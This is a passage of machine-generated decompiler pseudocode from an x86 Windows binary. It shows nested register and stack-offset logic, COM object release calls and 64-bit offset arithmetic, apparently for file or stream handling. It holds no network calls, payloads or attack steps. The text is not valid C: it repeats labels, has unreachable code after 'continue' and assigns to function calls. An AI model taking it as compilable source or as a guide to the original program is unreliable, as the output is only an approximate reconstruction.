																				}
																			} else {
																				__eax =  *(__ebp - 0x48);
																				__eax =  *(__ebp - 0x48) + 4;
																			}
																			 *(__ebp - 0xb8) = __eax;
																			 *(__ebp - 0x64) = __ebx;
																			__eax = __ebp - 0x64;
																			__ecx =  *(__ebp - 0x54);
																			_push(__ebp - 0x64);
																			 *((char*)(__ebp - 4)) = 0x18;
																			_push( *(__ebp - 0x34));
																			_push( *(__ebp + 8));
																			__esi = L0124E7E8(__eflags);
																			__eflags = __esi - __ebx;
																			if(__esi != __ebx) {
																				L432:
																				__eax =  *(__ebp - 0x64);
																				 *((char*)(__ebp - 4)) = 0x16;
																				__eflags = __eax - __ebx;
																				if(__eax != __ebx) {
																					__ecx =  *__eax;
																					__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																				}
																				goto L434;
																			} else {
																				__eflags =  *(__ebp - 0x64) - __ebx;
																				if( *(__ebp - 0x64) == __ebx) {
																					L454:
																					__eax =  *(__ebp - 0x5c);
																					 *((char*)(__ebp - 4)) = 0x15;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax =  *(__ebp - 0x68);
																					 *((char*)(__ebp - 4)) = 0x14;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax = E01231ABD(__eax,  *(__ebp - 0x50));
																					__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
																					__eax = E01231ABD(__eax,  *(__ebp - 0x14));
																					__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
																					__eax =  *(__ebp - 0x1c);
																					__eflags = __eax - __ebx;
																					 *((char*)(__ebp - 4)) = 0xa;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax =  *(__ebp - 0x24);
																					 *((char*)(__ebp - 4)) = 6;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__esi = 0x80004005;
																					goto L463;
																				}
																				__eax =  *(__ebp - 0xa0);
																				__edx =  *(__ebp - 0x10c);
																				__ecx =  *(__ebp - 0x9c);
																				__eax =  *(__ebp - 0xa0) - __edi;
																				__edx =  *( *(__ebp - 0x10c));
																				 *(__ebp - 0x114) = __ebx;
																				asm("sbb ecx, [ebp-0x94]");
																				 *(__ebp - 0x110) = __ebx;
																				__edx =  *( *(__ebp - 0x10c)) >> 5;
																				__eflags = __dl & 0x00000001;
																				if((__dl & 0x00000001) == 0) {
																					__esi =  *(__ebp - 0x28);
																					__edi =  *(__ebp - 0x98);
																					__edx =  *(__ebp - 0x94);
																					 *(__esi + 0x20) = __eax;
																					 *(__esi + 0x24) = __ecx;
																					 *(__esi + 0x28) = __edi;
																					 *(__esi + 0x18) = __edi;
																					 *(__esi + 0x10) = __ebx;
																					__ecx = __esi;
																					 *(__esi + 0x2c) = __edx;
																					 *(__esi + 0x1c) = __edx;
																					 *(__esi + 0x14) = __ebx;
																					E01239EF5(__esi) =  *(__ebp - 0x94);
																					 *(__ebp - 0x114) = __edi;
																					 *(__ebp - 0x110) =  *(__ebp - 0x94);
																				} else {
																					__esi =  *(__ebp - 0x28);
																					__eax =  *(__ebp - 0xa0);
																					__ecx =  *(__ebp - 0x9c);
																					 *(__esi + 0x20) =  *(__ebp - 0xa0);
																					 *(__esi + 0x24) =  *(__ebp - 0x9c);
																					 *(__esi + 0x28) = __ebx;
																					 *(__esi + 0x18) = __ebx;
																					 *(__esi + 0x10) = __ebx;
																					__ecx = __esi;
																					 *(__esi + 0x2c) = __ebx;
																					 *(__esi + 0x1c) = __ebx;
																					 *(__esi + 0x14) = __ebx;
																					__eax = E01239EF5(__esi);
																					__eax =  *(__ebp - 0x68);
																					__edi =  *(__ebp - 0x98);
																					__ecx =  *__eax;
																					__eax =  *((intOrPtr*)( *__eax + 0x10))(__eax, __edi,  *(__ebp - 0x94), __ebx, __ebx);
																				}
																				__eflags =  *(__ebp - 0x5c) - __ebx;
																				 *(__ebp - 0x1b4) = __ebx;
																				 *(__ebp - 0x1b0) = __ebx;
																				if( *(__ebp - 0x5c) != __ebx) {
																					__eax =  *(__ebp - 0x80);
																					__ecx =  *( *(__ebp - 0x80) + 0x10);
																					__eax =  *(__ebp - 0xa8);
																					 *(__eax + 0x18) =  *( *(__ebp - 0x80) + 0x10);
																					 *(__eax + 0x1c) = __ebx;
																					 *(__eax + 0x20) = __edi;
																					__ecx =  *(__ebp - 0x94);
																					 *(__eax + 0x24) =  *(__ebp - 0x94);
																				}
																				__eax =  *(__ebp - 0x1a0);
																				__ecx =  *(__ebp - 0x94);
																				__eflags =  *(__ebp - 0xe) - __bl;
																				 *__eax = __ebx;
																				 *(__eax + 4) = __ebx;
																				__eax =  *(__ebp - 0x1a4);
																				 *__eax = __edi;
																				 *(__eax + 4) =  *(__ebp - 0x94);
																				if( *(__ebp - 0xe) == __bl) {
																					 *(__ebp + 8) =  *( *(__ebp + 8) + 0x38);
																				} else {
																					__eax =  *(__ebp - 0x5c);
																				}
																				__ecx =  *(__ebp - 0x64);
																				__dl = 1;
																				__eax = __ebp - 0x1b4;
																				 *(__ebp - 0x20) = E01251B59( *(__ebp - 0x64), __edx,  *(__ebp - 0x68), __ebp - 0x1b4, __ebp - 0x1b4,  *(__ebp - 0x1c));
																				 *(__ebp - 0x10c) =  *( *(__ebp - 0x10c));
																				__eax =  *( *(__ebp - 0x10c)) >> 5;
																				__eflags = __al & 0x00000001;
																				if(__eflags == 0) {
																					__ecx =  *(__ebp - 0x94);
																					__eax = __edi;
																				} else {
																					__eax = 0;
																					__ecx = 0;
																				}
																				_push( *(__ebp - 0x20));
																				_push(__ecx);
																				__ecx =  *(__ebp - 0x54);
																				_push(__eax);
																				_push( *(__ebp - 0x64));
																				__eax = E0124E40F( *(__ebp - 0x54), __eflags);
																				__eflags = __eax - __ebx;
																				 *(__ebp - 0xb0) = __eax;
																				if(__eax != __ebx) {
																					__eax =  *(__ebp - 0x64);
																					 *((char*)(__ebp - 4)) = 0x16;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax =  *(__ebp - 0x5c);
																					 *((char*)(__ebp - 4)) = 0x15;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax =  *(__ebp - 0x68);
																					 *((char*)(__ebp - 4)) = 0x14;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax = E01231ABD(__eax,  *(__ebp - 0x50));
																					__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
																					__eax = E01231ABD(__eax,  *(__ebp - 0x14));
																					__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
																					__eax =  *(__ebp - 0x1c);
																					__eflags = __eax - __ebx;
																					 *((char*)(__ebp - 4)) = 0xa;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__eax =  *(__ebp - 0x24);
																					 *((char*)(__ebp - 4)) = 6;
																					__eflags = __eax - __ebx;
																					if(__eax != __ebx) {
																						__ecx =  *__eax;
																						__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																					}
																					__esi =  *(__ebp - 0xb0);
																					goto L463;
																				} else {
																					__eflags =  *(__ebp - 0x20) - 1;
																					 *(__ebp - 0xd) = __bl;
																					if( *(__ebp - 0x20) != 1) {
																						__eflags =  *(__ebp - 0x20) - __ebx;
																						 *(__ebp - 0xd) = 1;
																						if(__eflags != 0) {
																							__eax =  *(__ebp - 0x64);
																							 *((char*)(__ebp - 4)) = 0x16;
																							__eflags = __eax - __ebx;
																							if(__eax != __ebx) {
																								__ecx =  *__eax;
																								__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																							}
																							__eax =  *(__ebp - 0x5c);
																							 *((char*)(__ebp - 4)) = 0x15;
																							__eflags = __eax - __ebx;
																							if(__eax != __ebx) {
																								__ecx =  *__eax;
																								__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																							}
																							__eax =  *(__ebp - 0x68);
																							 *((char*)(__ebp - 4)) = 0x14;
																							__eflags = __eax - __ebx;
																							if(__eax != __ebx) {
																								__ecx =  *__eax;
																								__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																							}
																							__eax = E01231ABD(__eax,  *(__ebp - 0x50));
																							__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
																							__eax = E01231ABD(__eax,  *(__ebp - 0x14));
																							__eax = E01231ABD(__eax,  *(__ebp - 0xd4));
																							__eax =  *(__ebp - 0x1c);
																							__eflags = __eax - __ebx;
																							 *((char*)(__ebp - 4)) = 0xa;
																							if(__eax != __ebx) {
																								__ecx =  *__eax;
																								__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																							}
																							__eax =  *(__ebp - 0x24);
																							 *((char*)(__ebp - 4)) = 6;
																							__eflags = __eax - __ebx;
																							if(__eax != __ebx) {
																								__ecx =  *__eax;
																								__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																							}
																							__esi =  *(__ebp - 0x20);
																							goto L463;
																						}
																						L283:
																						__ecx = __ebp - 0x190;
																						E0124CE85(__ebp - 0x190, __eflags) =  *(__ebp - 0x94);
																						 *((char*)(__ebp - 4)) = 0x19;
																						 *(__ebp - 0x18c) =  *(__ebp - 0x94);
																						__eax =  *(__ebp - 0x10c);
																						 *(__ebp - 0x190) = __edi;
																						 *( *(__ebp - 0x10c)) =  *( *(__ebp - 0x10c)) >> 5;
																						__eflags = __al & 0x00000001;
																						__eax =  *(__ebp - 0x54);
																						if((__al & 0x00000001) == 0) {
																							__ecx =  *(__eax + 0xa8);
																							__ecx = __ecx |  *(__eax + 4);
																							__eflags = __ecx;
																							if(__ecx != 0) {
																								L452:
																								__ecx = __ebp - 0x190;
																								__eax = E0124CEE9(__ebp - 0x190);
																								__eax =  *(__ebp - 0x64);
																								 *((char*)(__ebp - 4)) = 0x16;
																								__eflags = __eax - __ebx;
																								if(__eax != __ebx) {
																									__ecx =  *__eax;
																									__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																								}
																								goto L454;
																							}
																							L286:
																							__edx =  *(__ebp - 0x54);
																							__eax =  *(__edx + 0xc0);
																							__ecx = __edx + 0xc0;
																							 *(__ebp - 0x198) = __eax;
																							__eax = __eax -  *(__ebp - 0x190);
																							__ecx =  *(__edx + 0xc4);
																							 *(__ebp - 0x194) = __ecx;
																							__esi = __eax;
																							asm("sbb ecx, [ebp-0x18c]");
																							 *(__ebp - 0x11c) = __esi;
																							__edi = __ecx;
																							 *(__ebp - 0x118) = __edi;
																							__dl =  *((intOrPtr*)(__edx + 0xb8));
																							__eflags = __dl - __bl;
																							 *(__ebp - 0xa2) = __dl;
																							if(__dl == __bl) {
																								L292:
																								__esi = __esi | __edi;
																								__eflags = __esi | __edi;
																								if((__esi | __edi) == 0) {
																									goto L452;
																								}
																								__eflags = __edi - 0x80000000;
																								if(__eflags > 0) {
																									goto L452;
																								}
																								if(__eflags < 0) {
																									L296:
																									__cl = 0;
																									__eflags =  *(__ebp - 0xd) - __bl;
																									if( *(__ebp - 0xd) != __bl) {
																										__eflags =  *(__ebp - 0xa2) - __bl;
																										if( *(__ebp - 0xa2) == __bl) {
																											__esi =  *(__ebp - 0x11c);
																											__edi =  *(__ebp - 0x118);
																											 *((char*)(__ebp - 0x124)) = 1;
																											__cl = 1;
																											__eflags = 1;
																											 *(__ebp - 0xa1) = __bl;
																										}
																									}
																									__eflags =  *(__ebp - 0x18c) - __ebx;
																									 *(__ebp - 0x188) = __esi;
																									 *(__ebp - 0x184) = __edi;
																									if(__eflags > 0) {
																										L303:
																										 *(__ebp - 0x190) =  *(__ebp - 0x190) |  *(__ebp - 0x18c);
																										__eflags =  *(__ebp - 0x190) |  *(__ebp - 0x18c);
																										if(( *(__ebp - 0x190) |  *(__ebp - 0x18c)) != 0) {
																											L311:
																											__eax =  *(__ebp - 0x48);
																											__eflags =  *((intOrPtr*)(__eax + 0x13)) - __bl;
																											if( *((intOrPtr*)(__eax + 0x13)) == __bl) {
																												__eflags = __cl - __bl;
																												if(__cl != __bl) {
																													goto L312;
																												}
																												__esi = __esi +  *(__ebp - 0x190);
																												__eflags = __esi;
																												asm("adc edi, [ebp-0x18c]");
																												 *(__ebp - 0x44) = __esi;
																												 *(__ebp - 0x40) = __edi;
																												L315:
																												__edx =  *(__ebp - 0x10c);
																												__ecx =  *(__ebp - 0x64);
																												__eax = __ebp - 0x190;
																												_push(__ebp - 0x190);
																												__esi = E012516BA( *(__ebp - 0x64),  *(__ebp - 0x10c));
																												__eflags = __esi - __ebx;
																												if(__esi != __ebx) {
																													__ecx = __ebp - 0x190;
																													__eax = E0124CEE9(__ebp - 0x190);
																													goto L432;
																												}
																												__eax =  *(__ebp - 0x18c);
																												__eflags =  *(__ebp - 0x18c) -  *(__ebp - 0x94);
																												if(__eflags > 0) {
																													L329:
																													__eflags =  *(__ebp - 0xd) - __bl;
																													if(__eflags == 0) {
																														L362:
																														__eax =  *(__ebp - 0x34);
																														__ecx =  *(__ebp - 0x80);
																														 *(__ebp - 0x128) =  *(__ebp - 0x34);
																														__ebp - 0x190 = E0124CF11( *(__ebp - 0x80), __ebp, __eflags, __ebp - 0x190);
																														__ecx = __ebp - 0x190;
																														 *(__ebp - 0x5e) = 1;
																														__eax = E0124CEE9(__ebp - 0x190);
																														__ecx = __ebp - 0x64;
																														 *((char*)(__ebp - 4)) = 0x16;
																														__eax = E01239116(__ebp - 0x64);
																														L364:
																														__eflags =  *(__ebp - 0xa1) - __bl;
																														if( *(__ebp - 0xa1) == __bl) {
																															L368:
																															 *(__ebp - 0xf) = __bl;
																															goto L367;
																														}
																														__eflags =  *(__ebp - 0x5e) - __bl;
																														if( *(__ebp - 0x5e) == __bl) {
																															goto L368;
																														}
																														 *(__ebp - 0xf) = 1;
																														goto L367;
																													}
																													__ecx =  *(__ebp - 0x48);
																													__eflags =  *((intOrPtr*)(__ecx + 0x11)) - __bl;
																													if(__eflags == 0) {
																														goto L362;
																													}
																													__eflags =  *(__ebp - 0xa2) - __bl;
																													if(__eflags == 0) {
																														goto L362;
																													}
																													__esi =  *(__ebp - 0x54);
																													 *(__ebp - 0x5e) = __bl;
																													__al =  *(__esi + 0x10);
																													__eflags = __al - __bl;
																													 *(__ebp - 0xe) = __al;
																													if(__al == __bl) {
																														L337:
																														__edi =  *(__ebp - 0x190);
																														__edi = __edi |  *(__ebp - 0x18c);
																														__eflags = __edi |  *(__ebp - 0x18c);
																														if((__edi |  *(__ebp - 0x18c)) == 0) {
																															__eflags =  *(__ebp - 0xe) - __bl;
																															if( *(__ebp - 0xe) != __bl) {
																																__eax =  *(__ebp - 0xb8);
																																__al =  *( *(__ebp - 0xb8));
																															} else {
																																__al = 1;
																															}
																															__eflags =  *((intOrPtr*)(__ebp - 0xc8)) - 0xfffffffe;
																															if( *((intOrPtr*)(__ebp - 0xc8)) >= 0xfffffffe) {
																																__al = 1;
																															}
																														} else {
																															__eflags =  *((intOrPtr*)(__ebp - 0x143)) - __bl;
																															if( *((intOrPtr*)(__ebp - 0x143)) != __bl) {
																																__al =  *(__ebp - 0x5e);
																															} else {
																																__eflags =  *(__ebp - 0xe) - __bl;
																																__eax =  *(__ebp - 0xb8);
																																if( *(__ebp - 0xe) == __bl) {
																																	__al =  *(__eax + 1);
																																} else {
																																	__al =  *((intOrPtr*)(__eax + 2));
																																}
																															}
																														}
																														__eflags =  *((intOrPtr*)(__ebp - 0xc8)) - __ebx;
																														if( *((intOrPtr*)(__ebp - 0xc8)) < __ebx) {
																															__eflags =  *((intOrPtr*)(__ebp - 0x144)) - __bl;
																															if( *((intOrPtr*)(__ebp - 0x144)) != __bl) {
																																__al = 0;
																																__eflags = 0;
																															}
																														}
																														__eflags = __al - __bl;
																														if(__al != __bl) {
																															L449:
																															__eax =  *(__ebp - 0x30);
																															__ecx = __esi + 4;
																															E01240E48(__esi + 4,  *( *(__ebp - 0x30))) = __ebp - 0x64;
																															__ecx = __esi;
																															E01252F6D(__ebp - 0x64) =  *(__ebp - 0x34);
																															__ecx =  *(__ebp - 0x114);
																															 *(__esi + 0x94) =  *(__ebp - 0x34);
																															__eax =  *(__ebp - 0x19c);
																															 *__eax =  *(__ebp - 0x114);
																															__ecx =  *(__ebp - 0x110);
																															 *(__eax + 4) =  *(__ebp - 0x110);
																															__ecx = __ebp - 0x190;
																															__eax = E0124CEE9(__ebp - 0x190);
																															__ecx = __ebp - 0x64;
																															 *((char*)(__ebp - 4)) = 0x16;
																															__eax = E01239116(__ebp - 0x64);
																															L450:
																															__ecx = __ebp - 0x5c;
																															 *((char*)(__ebp - 4)) = 0x15;
																															__eax = E01239116(__ebp - 0x5c);
																															__ecx = __ebp - 0x68;
																															 *((char*)(__ebp - 4)) = 0x14;
																															__eax = E01239116(__ebp - 0x68);
																															__ecx = __ebp - 0x50;
																															 *((char*)(__ebp - 4)) = 0x13;
																															__eax = E0123616E(__ebp - 0x50);
																															__ecx = __ebp - 0x7c;
																															 *((char*)(__ebp - 4)) = 0x12;
																															__eax = E0123616E(__ebp - 0x7c);
																															L451:
																															__ecx = __ebp - 0x14;
																															 *((char*)(__ebp - 4)) = 0x11;
																															__eax = E0123616E(__ebp - 0x14);
																															L395:
																															__ecx = __ebp - 0xe0;
																															 *((char*)(__ebp - 4)) = 0x10;
																															__eax = E0123616E(__ebp - 0xe0);
																															__ecx = __ebp - 0xd4;
																															 *((char*)(__ebp - 4)) = 0xb;
																															__eax = E0123616E(__ebp - 0xd4);
																															__ecx = __ebp - 0x1c;
																															 *((char*)(__ebp - 4)) = 0xa;
																															__eax = E01239116(__ebp - 0x1c);
																															__ecx = __ebp - 0x24;
																															 *((char*)(__ebp - 4)) = 6;
																															__eax = E01239116(__ebp - 0x24);
																															__ecx = __ebp - 0x58;
																															 *((char*)(__ebp - 4)) = 3;
																															__eax = E0123616E(__ebp - 0x58);
																															__ecx = __ebp - 0x38;
																															 *((char*)(__ebp - 4)) = 2;
																															__eax = E0123616E(__ebp - 0x38);
																															__ecx = __ebp - 0x8c;
																															 *((char*)(__ebp - 4)) = 1;
																															__eax = E0123616E(__ebp - 0x8c);
																															__ecx = __ebp - 0xc4;
																															__eax = E0123616E(__ebp - 0xc4);
																															__ecx = __ebp - 0xec;
																															__eax = E0123616E(__ebp - 0xec);
																															goto L396;
																														} else {
																															__eflags =  *((intOrPtr*)(__ebp - 0x144)) - __bl;
																															if(__eflags != 0) {
																																goto L362;
																															}
																															__eflags =  *(__ebp - 0xe) - __bl;
																															if(__eflags != 0) {
																																goto L362;
																															}
																															__eflags =  *((intOrPtr*)(__ebp - 0x143)) - __bl;
																															if( *((intOrPtr*)(__ebp - 0x143)) == __bl) {
																																L356:
																																__eax =  *(__ebp - 0x80);
																																__edi =  *(__ebp - 0x80) + 0xc;
																																__ecx = __edi;
																																__eax = E01252FF6(__edi);
																																__eflags = __al;
																																if(__al == 0) {
																																	__ecx = __edi;
																																	__eflags = E01252FF2(__edi) - 1;
																																	if(__eflags != 0) {
																																		goto L362;
																																	}
																																	__ecx = __edi;
																																	__eflags =  *((intOrPtr*)(E01252FFF(__edi, __ebx) + 0x4c)) - __bl;
																																	if(__eflags == 0) {
																																		goto L362;
																																	}
																																	__eax =  *(__ebp - 0x48);
																																	__eflags =  *((intOrPtr*)( *(__ebp - 0x48) + 0xe)) - __bl;
																																	L361:
																																	if(__eflags != 0) {
																																		goto L449;
																																	}
																																	goto L362;
																																}
																																__eax =  *(__ebp - 0xb8);
																																__eflags =  *( *(__ebp - 0xb8) + 1) - __bl;
																																goto L361;
																															}
																															__eflags = __edi;
																															if(__eflags != 0) {
																																goto L362;
																															}
																															goto L356;
																														}
																													}
																													__eflags =  *((intOrPtr*)(__ecx + 0x14)) - __bl;
																													if( *((intOrPtr*)(__ecx + 0x14)) == __bl) {
																														goto L337;
																													}
																													__eax =  *(__esi + 0xb0);
																													__ecx =  *(__esi + 0xb4);
																													__eax =  *(__esi + 0xb0) +  *(__esi + 0xa8);
																													asm("adc ecx, [esi+0xac]");
																													__eax =  *(__esi + 0xb0) +  *(__esi + 0xa8) +  *(__ebp - 0x114);
																													asm("adc ecx, [ebp-0x110]");
																													__ecx = __esi;
																													__edi = E0124E980(__esi,  *(__ebp + 8),  *(__esi + 0xb0) +  *(__esi + 0xa8) +  *(__ebp - 0x114),  *(__esi + 0xb4));
																													__eflags = __edi - __ebx;
																													if(__edi != __ebx) {
																														__ecx = __ebp - 0x190;
																														__eax = E0124CEE9(__ebp - 0x190);
																														__eax =  *(__ebp - 0x64);
																														 *((char*)(__ebp - 4)) = 0x16;
																														__eflags = __eax - __ebx;
																														if(__eax != __ebx) {
																															__ecx =  *__eax;
																															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																														}
																														__eax =  *(__ebp - 0x5c);
																														 *((char*)(__ebp - 4)) = 0x15;
																														__eflags = __eax - __ebx;
																														if(__eax != __ebx) {
																															__ecx =  *__eax;
																															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																														}
																														__eax =  *(__ebp - 0x68);
																														 *((char*)(__ebp - 4)) = 0x14;
																														__eflags = __eax - __ebx;
																														if(__eax != __ebx) {
																															__ecx =  *__eax;
																															__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																														}
																														__eax = E01231ABD(__eax,  *(__ebp - 0x7c));
																														__ebx = __edi;
																														goto L451;
																													}
																													__eflags =  *((intOrPtr*)(__esi + 0x12)) - __bl;
																													if( *((intOrPtr*)(__esi + 0x12)) != __bl) {
																														 *(__ebp - 0xe) = __bl;
																													}
																													goto L337;
																												}
																												if(__eflags < 0) {
																													L319:
																													__eax =  *(__ebp - 0x48);
																													__eflags =  *((intOrPtr*)(__eax + 0x13)) - __bl;
																													if( *((intOrPtr*)(__eax + 0x13)) != __bl) {
																														goto L329;
																													}
																													__eax =  *(__ebp - 0x80);
																													__eflags =  *((intOrPtr*)(__eax + 0x10)) - __ebx;
																													if( *((intOrPtr*)(__eax + 0x10)) == __ebx) {
																														goto L329;
																													}
																													__edi = __eax + 0xc;
																													while(1) {
																														__eax =  *(__edi + 4);
																														__ecx =  *__edi;
																														__eax =  *( *__edi +  *(__edi + 4) * 4 - 4);
																														__ecx =  *(__eax + 4);
																														__esi =  *__eax;
																														__eflags =  *(__eax + 4) -  *(__ebp - 0x18c);
																														if(__eflags < 0) {
																															goto L329;
																														}
																														if(__eflags > 0) {
																															L325:
																															__edx =  *(__eax + 8);
																															__eax =  *(__eax + 0xc);
																															__edx = __edx + __esi;
																															__esi =  *(__ebp - 0x188);
																															asm("adc eax, ecx");
																															__esi =  *(__ebp - 0x188) +  *(__ebp - 0x190);
																															__ecx =  *(__ebp - 0x184);
																															asm("adc ecx, [ebp-0x18c]");
																															__eflags = __eax -  *(__ebp - 0x184);
																															if(__eflags > 0) {
																																goto L329;
																															}
																															if(__eflags < 0) {
																																L328:
																																__ecx = __edi;
																																__eax = E01253100(__edi);
																																__eax =  *(__ebp - 0x80);
																																__eflags =  *((intOrPtr*)(__eax + 0x10)) - __ebx;
																																if( *((intOrPtr*)(__eax + 0x10)) != __ebx) {
																																	continue;
																																}
																																goto L329;
																															}
																															__eflags = __edx - __esi;
																															if(__edx > __esi) {
																																goto L329;
																															}
																															goto L328;
																														}
																														__eflags = __esi -  *(__ebp - 0x190);
																														if(__esi <  *(__ebp - 0x190)) {
																															goto L329;
																														}
																														goto L325;
																													}
																													goto L329;
																												}
																												__eax =  *(__ebp - 0x190);
																												__eflags =  *(__ebp - 0x190) -  *(__ebp - 0x98);
																												if( *(__ebp - 0x190) >=  *(__ebp - 0x98)) {
																													goto L329;
																												}
																												goto L319;
																											}
																											L312:
																											 *(__ebp - 0x44) =  *(__ebp - 0x44) + 1;
																											asm("adc [ebp-0x40], ebx");
																											goto L315;
																										}
																										__eflags =  *((intOrPtr*)(__ebp - 0x124)) - __bl;
																										if( *((intOrPtr*)(__ebp - 0x124)) != __bl) {
																											goto L311;
																										}
																										__eax =  *(__ebp - 0x54);
																										__eax =  *(__ebp - 0x54) + 0xc0;
																										__eflags = __edi -  *(__eax + 4);
																										if(__eflags < 0) {
																											goto L311;
																										}
																										if(__eflags > 0) {
																											L308:
																											__eax =  *(__ebp - 0x48);
																											__eflags =  *((intOrPtr*)(__eax + 0x11)) - __bl;
																											if( *((intOrPtr*)(__eax + 0x11)) != __bl) {
																												goto L311;
																											}
																											__ecx = __ebp - 0x190;
																											__eax = E0124CEE9(__ebp - 0x190);
																											__eax =  *(__ebp - 0x64);
																											 *((char*)(__ebp - 4)) = 0x16;
																											__eflags = __eax - __ebx;
																											if(__eax != __ebx) {
																												__ecx =  *__eax;
																												__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																											}
																											__esi =  *(__ebp - 0x28);
																											do {
																												do {
																													do {
																														do {
																															do {
																																while(1) {
																																	L216:
																																	__eflags =  *(__ebp - 0xf) - __bl;
																																	if( *(__ebp - 0xf) == __bl) {
																																		goto L219;
																																	}
																																	goto L217;
																																}
																																L235:
																																__eax =  *(__ebp - 0x58);
																																__eflags =  *(__eax + __edi) - __bl;
																															} while ( *(__eax + __edi) != __bl);
																															goto L236;
																														} while (__eflags < 0);
																														if(__eflags > 0) {
																															break;
																														}
																														__eflags = __edi - __eax;
																													} while (__edi < __eax);
																													__edi =  *(__ebp - 0x44);
																													__edi =  *(__ebp - 0x44) - __eax;
																													__eflags = __edi;
																													__eax =  *(__ebp - 0x40);
																													asm("sbb eax, ebx");
																													 *(__ebp - 0x98) = __edi;
																													 *(__ebp - 0x94) =  *(__ebp - 0x40);
																													goto L241;
																													L246:
																													__edx =  *(__ebp - 0x2c);
																													__ecx = __esi + 0x3c;
																													__edx =  *(__ebp - 0x2c) - __eax;
																													__ecx =  *(__esi + 0x3c);
																													__eax =  *(__ebp - 0x20)(__eax, __edx);
																													__eflags = __eax - __ebx;
																												} while (__eax == __ebx);
																												__eflags = __eax - 2;
																												if(__eax != 2) {
																													goto L249;
																												}
																												__eflags =  *(__ebp - 0x15) - __bl;
																											} while ( *(__ebp - 0x15) != __bl);
																											goto L249;
																										}
																										__eflags = __esi -  *__eax;
																										if(__esi <  *__eax) {
																											goto L311;
																										}
																										goto L308;
																									} else {
																										if(__eflags < 0) {
																											L302:
																											__esi = __esi +  *(__ebp - 0x190);
																											__eflags = __esi;
																											 *(__ebp - 0x190) = __ebx;
																											asm("adc edi, [ebp-0x18c]");
																											 *(__ebp - 0x188) = __esi;
																											 *(__ebp - 0x18c) = __ebx;
																											 *(__ebp - 0x184) = __edi;
																											goto L303;
																										}
																										__eflags =  *(__ebp - 0x190) - __ebx;
																										if( *(__ebp - 0x190) >= __ebx) {
																											goto L303;
																										}
																										goto L302;
																									}
																								}
																								__eflags = __esi - __ebx;
																								if(__esi > __ebx) {
																									goto L452;
																								}
																								goto L296;
																							}
																							__edx =  *(__ebp - 0x54);
																							__esi =  *(__ebp - 0x190);
																							__edx =  *(__ebp - 0x54) + 0xb0;
																							__esi =  *(__ebp - 0x190) +  *__edx;
																							 *(__ebp - 0x1c4) =  *(__ebp - 0x190) +  *__edx;
																							__esi =  *(__ebp - 0x18c);
																							asm("adc esi, [edx+0x4]");
																							__eflags =  *(__ebp - 0x18c) -  *(__ebp - 0x194);
																							if(__eflags < 0) {
																								L291:
																								__esi =  *__edx;
																								__edi =  *(__edx + 4);
																								goto L292;
																							}
																							if(__eflags > 0) {
																								L290:
																								 *__edx = __eax;
																								 *(__edx + 4) = __ecx;
																								goto L291;
																							}
																							__esi =  *(__ebp - 0x198);
																							__eflags =  *(__ebp - 0x1c4) -  *(__ebp - 0x198);
																							if( *(__ebp - 0x1c4) <=  *(__ebp - 0x198)) {
																								goto L291;
																							}
																							goto L290;
																						}
																						__ecx =  *(__eax + 0xa8);
																						 *(__ebp - 0x190) =  *(__eax + 0xa8);
																						 *(__ebp - 0x18c) = __eax;
																						goto L286;
																					}
																					__eax =  *(__ebp - 0x48);
																					__eflags =  *((intOrPtr*)(__eax + 0x12)) - __bl;
																					if( *((intOrPtr*)(__eax + 0x12)) != __bl) {
																						__eax =  *(__ebp - 0x54);
																						__eflags =  *((intOrPtr*)(__eax + 0x13)) - __bl;
																						if( *((intOrPtr*)(__eax + 0x13)) == __bl) {
																							L280:
																							__eax =  *(__ebp - 0x64);
																							 *((char*)(__ebp - 4)) = 0x16;
																							__eflags = __eax - __ebx;
																							if(__eax != __ebx) {
																								__ecx =  *__eax;
																								__eax =  *((intOrPtr*)( *__eax + 8))(__eax);
																							}
																							continue;
																							do {
																								do {
																									do {
																										do {
																											L216:
																											__eflags =  *(__ebp - 0xf) - __bl;
																											if( *(__ebp - 0xf) == __bl) {
																												goto L219;
																											}
																											goto L217;
																											L221:
																											__edx =  *(__ebp - 0x50);
																											__eflags =  *((intOrPtr*)(__edi + __edx)) - __bl;
																										} while ( *((intOrPtr*)(__edi + __edx)) != __bl);
																										L222:
																										__edx =  *(__ebp + 8);
																										__eflags =  *(__ebp - 0x40) - __ebx;
																										 *( *(__ebp + 8)) =  *( *( *(__ebp + 8)) + 0x28);
																										__ecx =  *( *( *( *(__ebp + 8)) + 0x28) + __ecx);
